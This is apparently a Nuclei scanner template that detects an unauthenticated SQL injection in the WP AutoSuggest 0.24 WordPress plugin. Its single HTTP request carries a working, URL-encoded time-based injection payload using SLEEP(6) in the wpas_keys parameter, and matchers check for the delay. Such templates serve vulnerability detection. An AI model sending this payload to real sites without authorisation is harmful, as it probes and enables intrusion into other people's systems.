id: wp-autosuggest-sql-injection

info:
  name: WP AutoSuggest 0.24 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The wp-autosuggest WordPress plugin was affected by an Unauthenticated SQL Injection security vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9188
    - https://wordpress.org/plugins/wp-autosuggest/
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: time-based-sqli,wp-plugin,wp,wp-autosuggest,wpscan,sqli,wordpress,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1%27%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5202%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%28SLEEP%286%29%29%29yRVR%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%27dwQZ%27%2F%2A%2A%2FLIKE%2F%2A%2A%2F%27dwQZ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/xml")'
          - 'contains(body, "<results>")'
        condition: and
# digest: 4b0a00483046022100d8f79fa87a65603aad3b02c404d2a066428cb491c3d9007b25a2355582123f400221009e5d8960cfc5701147be6b1a532a4b0998db8bea291f21689bdc9e8b65675298:922c64590222798bb761d5b6d8e72950